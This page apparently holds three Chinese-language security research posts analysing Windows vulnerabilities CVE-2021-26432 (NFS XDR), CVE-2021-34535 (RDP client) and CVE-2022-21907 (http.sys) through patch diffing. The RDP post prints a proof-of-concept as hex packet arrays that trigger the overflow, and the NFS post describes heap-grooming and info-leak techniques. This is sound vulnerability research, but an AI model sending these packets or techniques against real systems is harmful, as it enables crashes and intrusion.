Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

CVE-2021-26432 NFS ONCRPC XDR 驱动协议远程代码执行漏洞验证过程

By: yyjb
12 April 2022 at 06:37

1,背景:

2021年8月份有两个较严重的漏洞需要关注,其中包括NFS ONCRPC XDR Driver 远程代码执行漏洞CVE-2021-26432以及RDP客户端远程代码执行漏洞CVE-2021-34535。

我们的目标是分析这些潜在影响可能较大的漏洞是否容易在实际的场景中被利用。这里,我们分析NFSXDR漏洞CVE-2021-26432。

2,NFSXDR驱动服务简介:

3,补丁分析:

分析补丁我们能比较容易确定漏洞修补的位置。

其中一处修改的地方是在函数OncRpcMsgpDecodeRpcCallVerifier中增加对参数的判断,

另一个则是在OncRpcBufMgrpAllocateDescriptorFromLLLargePoolAllocation函数中申请内存后,立即初始化该内存。

4,构造poc:

直观上来判断,RCE的cve更可能和第一个判断有关,这里我们通过追踪补丁的判断参数a1+296这个值的所有引用,最后在下面的函数中,找到了和它有关的另一个判断位置。

我们这里可以猜测这是一个计算消息头长度的函数,满足漏洞触发条件之一,需要这个长度固定为36。再查阅相关资料,我们能知道其余漏洞的触发条件是如果我们选择了RPC了验证方式为6(RPCSEC_GSS),则RPC中Credentials中的Flavor为1即AUTH_UNIX(而补丁修补后Credentials中的Flavor只能是为6)。然后我们根据协议文档尝试构造数据包,通过后续的分析对比可以明确上面的固定长度对应的是GSS_Token中的数据长度。

构造GSS_Token中的数据长度大于其在此情况下系统默认固定长度36即可触发漏洞路径。

由于对GSS_Token数据长度计算方式判断错误,返回的数据是可能会超过其默认申请的长度,我们可以通过灵活的构造请求包中的GSS_Token数据长度来控制这个漏洞可能会导致的效果:

如果其长度比默认的36长得不是太多(大致0x50左右),返回的数据包中会包含除GSS_Token数据之外其他的结构数据,这是一个可以导致一个信息泄露的效果:其泄露的数据具体来说包含整个对象内存的地址指针。如果我们的GSS_Token数据长度更长,则系统处理这些数据就会溢出掉后面其他所有结构数据直到其他未知内存(超出0x100基本会崩溃)。另外注意GSS_Token数据长度不是无限长度任意构造的,并且由于NFSxdr驱动中对数据接收的一些其他的限制,我们所能构造的溢出长度最长只能大概0x4000左右。

5,利用:

目前,我们已经有一个比较稳定的溢出。通常漏洞利用会尝试溢出一些特定的数据来得到一个指针执行机会。

我们考虑了以下两种方式:

A,通过溢出控制对象大小为0x900(*XdBD,这是一种NFSXDR为内部申请小于0x800的缓冲区对象)的内部链表缓冲区头,控制下一个缓冲区地址。构造写原语,一方面这种内部缓存的对象链表通常不需要校验其头部数据,这样溢出后会比较稳定。另一方面,通过控制这种内部链表结构,我们可以更加精确的控制其中的内存申请释放时机。

但一方面,这个单链表的长度太短了只有4。这种0x900的对象它的生命周期是随着RPC命令一起生成和释放的。一旦我们尝试风水布局,我们很难确定到这个4个对象的位置。另一方面我们不能通过前面提到的信息泄露的方式去知道这几个对象的地址。因为目前的信息泄露触发方式只能是在申请大缓冲区时才能满足漏洞条件的。而这个0x900的对象属于较小内存对象。

B,通过溢出控制OncRpcConnMgrpWskReceiveEvent中的OncRpcWiMgrpSrvWorkItemAlloc申请的内存(长度为0xa00的NLM对象),控制其对象中的引用指针。借助一个独立的信息泄露漏洞(参考本文最后一节),在我们布局的非分页内存中存放rop链来执行代码。

NFS本身是一个无状态的通讯协议,他使用了NLM对象来保证协议的中的资源正常访问读写。这里的NLM对象,有一些特性值得我们注意。

当多个RPC请求短时间传到服务端时,服务端会使用OncRpcConnMgrpWskReceiveEvent中这样的的一个流程去处理这些请求。

我打印了一部分我们关注的对象的生命周期。我们的目标是溢出NLM对象头部保存的OncRpcMsgProcessMessage函数指针。如下图:

该指针会在其释放前在NFS RPC工作线程中被调用:

该对象生命周期如下:

下图中的W-pool对应NLM对象。我们的目的是在NLM释放前调用其内部的OncRpcMsgProcessMessage指针时,覆盖该指针。

NFSXRD中,每一种不同的请求类型对应不同的的RPC请求,我们通过调整RPC请求中类型的位置和顺序能能够按照我们预期的时机触发溢出。,

NLM对象释放前,我们触发了溢出:

具体来说,我们申请一个0x1490的大内存对象(0x1490是我们可控制的申请读写数据的长度数据内存),之后使用NLM对象填充这些0x1490剩余的空洞。然后再释放所有0x1490的内存对象,在此时重新申请0x1490的读写请求包,在这其中一个包结构中触发漏洞。

以期望在所有的NLM对象释放前,溢出某一个NLM对象中的OncRpcMsgProcessMessage指针。

但结果并不能如预期那样,使漏洞刚好溢出到我们期望的目标上,即使是非常低的概率也没有。除此之外,我们还尝试了另一种不同的溢出思路:

第二种方法,大量发出某一种特定的PRC的指定请求(NLM请求),OncRpcConnMgrpWskReceiveEvent处理流程中会大量交替申请0xa00和0x900两种对象,并且这两个对象是成对出现的他们会各自占用0x1000的内存并形成一个较稳定的内存结构。当前面循环的RPC请求部分前面的相邻0xa00,0x900对象释放时,合并出0x2000的空闲内存。之后在还有剩余RPC请求存在的时候,构造漏洞溢出的内存长度为0x2000溢出其中的一个0xa00 NLM对象的头部。

6,总结:

但后续根据大量测试,我们并不能控制NLM对象能在我们漏洞触发时刚好释放。他有自己的时间计时器,其存在时间总也总是是低于我们的预期。并且另外一个关键的地方是,我们所构造的漏洞消息所申请的内存必须大于1K,太小则不能触发漏洞流程。这时我们也不能使用0x900或者0xa00这样本身存在的对象来占位。

我们最大的问题就是我们溢出的目标对象很难在我们控制得时机,布局成我们期望的位置(无论是0xa00 *RSWI还是0x900 *XdBD)。

综上,如果仅仅限制在最新的win10以上的NFSXDR协议内部,要实现利用似乎并不容易。但考虑到目前已知的在其他协议上的一些研究结果,如果是针对一些例如server2008这样较老系统上布置的NFSXDR服务。该漏洞是可能比较容易通过一些其他协议的内存布局方式而成功利用的。

7,新的漏洞:

在分析漏洞的补丁差异之初,我们有留意到补丁中对申请大于0x800的小内存时,才增加了一个初始化内存的操作,但当申请较小内存的时候,并没有对应的补丁代码。

如下:‌

按照思维惯性,我们在后续的分析中,就会带着这样的一个疑问进行后续的分析——当申请较小内存时,是否也会存在同原理的错误?

当我们在后续尝试exp的分析过程中发现,当我们构造数据包中GSSTOKEN数据长度如果不为4的整倍数时,返回的数据中最后几位字节有时会出现一些不确定的数据,(如下面的示例)

这是调整申请内存构造数据包大小时候偶然发现的(申请较小内存),深入分析后,最终的结果证明了我们之前的猜测。

该协议中对于数据包对齐的逻辑中,在复制数据时,对于非4的整数长度字节数据系统会仍然会自动填补其长度为4的倍数。而其返回的数据,就会有额外的不确定内存。其长度为4-x,x为GSSTOKEN除以4的余数。

然后,这样的一个错误能导致怎样的结果呢?

为了泄漏更长的数据,我们选择 x=1。 在下面的例子中,选择数据长度为 0x23d=0x23c+1;

我们可以通过增加4 的字节(或 4 的倍数)来设置读取请求数据的长度,以改变要泄露的其他感兴趣的不同位置的数据。 如下:0x241=0x23d+4。

什么这里的示例使用 0x23d 的读取长度?

这是因为当我们选择用较小的内存读取数据时,nfsxdr 默认申请内存的大小为 0x900。 在申请这个大小的内存时,很容易使用其他刚刚释放的大小相同的对象的内存。 在我们调试的环境win10中,Thread内核对象的大小也恰好是接近0x900。 如果是这样的话,这里选择读取 0x23d 长度的数据很可能对应到Thread 对象中存储的函数指针地址 0xfffff806 37efe930。 最后我们可以得到0xfffff8XX 37efe9XX这样的信息。 但是,长度为 8 字节的地址仍有 2 个字节无法确认。

通常来说,这样的信息泄露在现代windows系统上的作用似乎仍然受到地址随机化的限制,对于“37efe930“低位的“30”,一般来说有时我们是可能猜测的,但我们不能确认0xfffff806中的“06”。然而在一些过时的windows系统如win7,这样的信息泄露,足够取得一个内核指针信息。

所以在调用OncRpcBufMgrpAllocateDescriptorFromLLInlineBuffer时这里似乎可能仍然需要初始化其内存。

此错误已经在2月份修补为cve-2022-21993。

参考

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432

CVE-2021-34535 RDP客户端漏洞分析

By: yyjb
12 April 2022 at 06:40

背景:

2021年的八月份微软补丁日,微软公布的补丁中包含两个我们比较感兴趣的两个RCE漏洞中,另一个是cve-2021-34535 RDP客户端的代码执行漏洞。在现代windows系统中,RDP客户端不仅仅被使用在RDP协议中,并且hyper-V中,也似乎保留了部分mstscax.dll功能。因此,该漏洞如果可以在实际环境中构造exp,其威胁是比较严重的。这里我们的目标对该漏洞是否能够在实际中使用进行一个大概的分析判断。并且,因为我们更感兴趣该漏洞在RDP协议下的影响,所以本次分析是基于RDP协议的背景环境。

补丁分析:

通过官方的说明,这是一个存在于mstscax.dll中的漏洞,对比补丁前后代码差异,我们可以比较容易的确认漏洞的基本原理:如下:

这是一个典型的整形溢出漏洞,

另外这里我们还可以注意到,RDP客户端这个代码执行漏洞位置似乎不仅仅只有这一个整形溢出的可能需要判断,还需要验证该sample数据长度是否小于数据包实际携带的sample数据。如果实际的流数据长度小于数据包中长度记录的值,在后续的复制sample数据时,也可能因为读取超出实际数据长度的地址数据而导致崩溃。

构造POC:

根据官方文档的描述,这是这里的CRDPstream::DeliverSample函数功能很可能是属于一个视频重定向动态虚拟频道协议下的功能。所以我们能想到的最好的办法是尝试在复现一个RDP视频重定向的功能场景,然后对CRDPstream::DeliverSample目标函数进行标记,一旦真实的RDP客户端代码能够执行存在漏洞的函数,则我们可以直观的了解到整个漏洞出发路径。这样的另一个好处,是不用了解在漏洞函数触发之前所要做的其他所有工作。不必了解RDP整个初始化过程以及身份验证阶段。

但实际中,我们并不能直接得到这样的结果,经过测试我们仅仅在sever2008中,通过手动启用RDPapp,启用了这种视频重定向功能,但是我们并不能直接定位到漏洞存在的函数。所以,为了更方便的实现这种视频重定向协议的各个功能,最好的办法是需要重建一个RDP服务端,自己根据官方的协议说明文档修改数据。

我们使用了freeRDP中的server代码来实现这一点(在windows下,重构的freeRDP中的server代码可能会有一些兼容性问题,需要修改下个别加载镜像显示驱动的一些处理代码)。

然后回到漏洞触发函数CRDPstream::DeliverSample,我们在文档中找到与其最相关的功能是On Sample消息。通过在freeRDP中的server  drdynvc_server_thread1()动态虚拟通道线程中添加视频重定向虚拟动态通道的响应数据包,并构造这一On Sample数据类型:

我们最终得到了触发漏洞路径的流程(在这个过程中,包含较多繁琐的的猜测尝试过程,这里不赘述)。

但这里有两个地方需要说明一下。

一是关于添加虚拟通道并初始化该通道的过程。官方的说明文档已经非常详细,但有时候,也并不是每一个细节和特例都会会详细举例说明。

为了弄清楚其中的细节。我们可以在服务端交互数据响应处理函数CStubIMMServerData<IMMServerData>::Dispatch_Invoke()入口下断点,关注我们感兴趣的特定具体类型通道的状态标志来理解整个通道的创建,关闭,以及其他工作流程。

二是,关于最终漏洞路径触发的问题。我们能发现我们已经已经能在视频重定向虚拟动态通道中触发一些功能流程,但是并不能进入最终和CRDPstream以及CRDPSource类有关的数据处理函数功能。

这时候,我们可以先关注更上层的CRDPSource这个类的其他函数,如相近功能其他类的DeliverSample功能,或者CRDPSource类本身初始化的功能。找到这类离目标漏洞函数更近的功能,再后续测试流程中不同的参数即能比较容易的找到最终的漏洞触发路径。

我们的测试poc中,其包括的视频重定向动态虚拟通道的功能数据包主要如下:

char str1[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str2_1[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str2_2[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str2_3[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

///

char str3[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str4[] = "\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x08\x01\x00\x00\x01\x00"

"\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x61\x75\x64\x73\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x10\x16\x00\x00\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x01\x00\x00\x00\x00\x00"

"\x00\x00\x01\x00\x00\x00\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01"

"\x00\xaa\x00\x55\x59\x5a\x20\x00\x00\x00\x10\x16\x02\x00\x80\xbb"

"\x00\x00\x80\x3e\x00\x00\x01\x00\x10\x00\x0e\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x90";

char str5[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x00\x00\x00";

char str6[] = "\x40\x07"; //关闭通道

char str7[] = "\x14\x08\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str8[] = "\x34\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str9[] = "\x34\x08" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str10[] = "\x34\x08" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

char str11[] = "\x34\x08" //发送新的呈现对象

"\x00\x00\x00\x40\x00\x00\x00\x00\x05\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str12[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str13[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str14[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str15[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

///

char str16[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str17_0[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x13\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str17[] = "\x34\x07"//add steam

"\x00\x00\x00\x40\x00\x00\x00\x00\x02\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x64\x00\x00\x00\x61\x75\x64\x73\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x62\x01\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00"

"\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01\x00\xaa\x00\x55\x59\x5a"

"\x24\x00\x00\x00\x62\x01\x02\x00\x00\x77\x01\x00\xc0\x5d\x00\x00"

"\x00\x10\x18\x00\x12\x00\x18\x00\x03\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\xe0\x00\x00\x00";

char str17_2[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x11\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str18[] = "\x34\x07" //发送示例

"\x00\x00\x00\x40\x00\x00\x00\x00\x03\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x46\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00"

"\x00\x00\x00\x00\x15\x16\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x03\x02\x00\x00\x00\xff\xff\xff\x00\x00\x01\xb3\x14\x00\xf0\x13"

"\xff\xff\xe0\xc1\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"                "\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x09\x9c\x9a\x91\x80\x0c\x00\x1b\x93\x78";

Exp的尝试:

目前,我们可以获取的是一个对堆地址的溢出,并且可溢出数据的长度非常长达到0xFFFF FFFF级别,通常来说,这容易这种溢出很容易造成崩溃,不利用稳定利用。但溢出的内容是绝大部分可控的。在之前的分析调试中,我们可以注意到RDP协议中包含大量的重载虚函数,我们只需要提前布局一些可控的这种大内存堆,获取一个虚函数指针的跳转引用是可能的。

然而常规思路来说,最大的问题是缺少一个应用层可靠的跳转地址,来完成漏洞利用的第二阶段代码执行过程。我们没有一个具体的目标来实跳转。所以,我们需要尝试分析这样的可能:是否可以找到协议RDP客户端另外的功能,能够通过溢出控制其他客户端返回的数据长度来进行信息泄露。

但是通过后续分析现有的RDP通讯流程,发现绝大部分的数据都是从服务端发往客户端,客户端发送返回的大部分都是基于指令或者反馈的消息代码。似乎较难发现可靠的信息泄露方式。

总结:

通过整体的分析,可以看出相对于需要验证登录的服务端,一旦轻易相信服务端可靠性,并且由于RDP本身协议的复杂性,RDP客户端可能存在更广的被攻击面。

后续可能会有其他更多的的客户端漏洞被发现,但是要在最新的windows系统上利用这类RDP客户都安代码执行漏洞,似乎更迫切需要一个较稳定的信息泄露漏洞。

另外,对于该漏洞,我们并没有在hyper-V的具体环境中测试,在这里并不确定除了RDP协议本身之外的交互数据之外,hyper-V中是否一些更容易构造的读写源语来做到客户端可靠的信息泄露。

参考

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpev/5b62eacc-689f-4c53-b493-254b8685a5f6

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b

CVE-2022-21907 http协议远程代码执行漏洞分析总结

By: yyjb
12 April 2022 at 06:42

背景:

2021年最近的上一个http远程代码执行漏洞CVE-2021-31166中,由于其UAF的对象生命周期的有限性,似乎并不太可能在实际场景中实现利用。今年一月的安全更新中包含另一个http的远程代码执行漏洞CVE-2022-21907,根据官方更新说明这仍是一个非常严重的漏洞,我们有必要对他在实际环境中是否可能被利用进行进一步的判断。

开始准备分析之前的两点说明:

在开始分析之前,这里有两点分析过程中的思路提示需要提前说明。可以排除其他研究人员在理解这个漏洞可能产生的一些歧义。

A,最合适的补丁对比文件。

通常来说,我们在最开始选择对比的补丁文件时,尽量选择时间间隔最小的补丁文件。但是有时候,对于补丁文件的系统版本也非常重要。本例中,如果研究者使用server2019的http文件去分析,你会发现代码有太多改动是针对一些旧版代码的相对改动,并不是所有版本系统的某一模块都是一样的。

B,漏洞产生的方向。

这里我们说的方向主要指协议过程中,服务端和客户端的数据请求方向。通常来说一个可互联网蠕虫级别的漏洞,我们首先想到的触发方式可能是客户端向服务端发送请求,之后服务端在解析请求时发生的漏洞。如cve-2019-0708RDP代码执行漏洞以及永恒之蓝。但近年来随着这类漏洞发现的越来越困难,研究人员开始向将漏洞挖掘方向偏向于协议客户端的一些接收解析模块。但该漏洞似乎更加特殊,虽然它存在于服务端,却并不是解析处理客户端的具体数据内容模块,而是处于服务端接收客户端请求之后,进行的响应发送模块。

我们似乎并不能在最简单默认的http服务端系统配置中触发此漏洞,需要服务端包含一些特定的代码逻辑,该漏洞才会有比较大的威胁。具体来说,我们的poc代码是一个普通的http服务端代码,在其上加入有一些较小改动的特殊逻辑代码。只要客户端发起正常访问,即可触发服务端崩溃。

补丁分析:

我们使用最新的windows11的补丁文件进行分析。可以比较清晰的发现漏洞可能存在于这些代码中:ULpFastSendCompleteWorker,UlPFreeFastTracker,以及UlFastSendHttpResponse.中指针使用完之后清零的操作。另外有两处不太明显的代码即是申请FastTracker对象内存的函数:UlAllocateFastTracker和UlAllocateFastTrackerToLookaside.时,初始化部分头部内存。

通过梳理http快速响应包发送流程,我们可以发现这些补丁的作用都是针对FastTracker对象中的一些指针地址所进行的。

其中主要有以下三个对象指针。

FastTracker中的LogDatabuffer对象,UriCacheEntry对象以及一个FastTrackerMDL指针。

失败的尝试

通常来说,根据此漏洞的官方描述严重性,我们通常会先考虑这些对象是否存在UAF的情况。

我们优先分析了LogDatabuffer对象,UriCacheEntry对象的生命周期,如果仅从这两个对象的申请和释放过程判断,我们并没有找到较容易发现的触发可能的UAF错误方式。

之后开始考虑第三个FastTracker的MDL指针。

剩下的可能:

通过前面的测试结果以及分析思路,我们有留意到FastTracker本身在申请释放过程中其内存的一些变化,大致上,FastTracker对象的申请有两种情况,首先查看http响应结构中一些数据长度是否满足最低需求,以及http Tailers长度是否为空,满足条件则直接使用http内部链表对象,否则申请新的内存。问题在这里开始出现,补丁之前的代码,如果申请新内存,有一些关键偏移是没有初始化内存的。其中就包括FastTracker的MDL几个相关判断标志以及MDL本身的地址指针。

之后,思路就比较清晰了,我们需要做的就是构造这样的一个逻辑:当FastTracker申请内存成功之后,并在完全初始化MDL指针之前,故意触发一个HTTP快速响应流程中的任意一个错误,使http提前释放FastTracker对象。而这时,如果FastTracker对象中,未初始化的MDL相关指针位置包含申请内存时包含的一些随机数据,则可能导致这些随机数据被当作MDL指针进行引用。

说明:

这里需要提出一个特别注意的地方。即该漏洞与http Tailers的联系。

从表面上看,该漏洞的直接原因是新FastTracker对象重新从系统内存申请时,未初始化导致的。这样,Tailers长度是否为空作为FastTracker从系统内存申请的判断条件之一,则直接影响该漏洞是否能触发。但是如果继续分析,会发现,即使没有http Tailers的判断条件,该漏洞仍然是可以被触发的。

具体存在以下逻辑:如FastTracker对象申请流程图中,如果发现该http响应结构中不包含http Tailers,会先查询http内部链表,如有空闲对象,则使用空闲对象。这种情况下,这里仍有可能存在一种特殊情况,即内部链表被耗尽,仍需继续通过另一个UlAllocateFastTrackerToLookaside申请新的内存。不过微软已经注意到这里,同样修补了这里的FastTracker的初始化工作。但这意味着,即使http服务端没有开启支持 Tailers特性,该漏洞仍然是可能被触发的。测试之一,仅仅是增加对服务端的访问频率即可做到这一点。

poc

如该漏洞开始分析之前的描述,该漏洞poc主要为我们自己编写的一个http服务端。该服务端唯一不同的地方,是在http响应包发送流程中,在申请FastTracker之后,在FastTracker中的UriCacheEntry对象初始化之前,使http响应流程失败,并开始销毁FastTracker对象即可。(作为示例,其中一种方式,我们在服务端代码的响应包中,加入了一个超过http限制长度的固定头字符数据使得系统认为该固定头数据无效而丢弃)。

当然,要达到这个目的还有很多方式,还有另外的判断可以选择,。只要在这些响应包结构生成流程中(即UlFastSendHttpResponse),在如:UlGenerateMultipleKnownHeaders,UlGenerateFixedHeaders相应包结构生成的流程中出现判断失败,则该服务器代码就可能触发该漏洞。

然后触发该漏洞的方式只需要在客户端访问该端口并进入到我们服务端对应流程即可。因为我们没有刻意进行内存布局,并不是每次访问都能导致崩溃,这需要未初始化内存刚好符合FastTracker的MDL指针的一个标志判断。如下,满足v118+10的标志位为1.

漏洞触发堆栈如下:

总结:

最后,该http远程代码执行漏洞虽然在类型上仍属于UAF(use after free),但该漏洞实现exp有两个比较重要的前提条件待解决。1是该漏洞的触发原理,需要服务端的http代码中,包含一个流程错误的构造操作使HTTP FastTracker因为意外而提前释放,这需要http服务端开发人员在他的代码中刚好包含这样的一个逻辑。2另外则是该漏洞的利用实现方式,即通过布局HTTP FastTracker的未初始化的内存,通过漏洞触发去操作我们自己伪造的MDL指针结构。为了要执行代码,除了我们可能需要继续分析一种可能的信息泄露方式(如构造读写源语或者利用MDL本身的一些机制),但我们仍有大量的后续代码执行方式上的尝试工作要做。所以,就目前短时间来说,该漏洞被利用的困难程度可能较大。

但是对于那些未启用http Tailers支持的服务器,也需要尽快更新此补丁。

参考:

https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907

❌
❌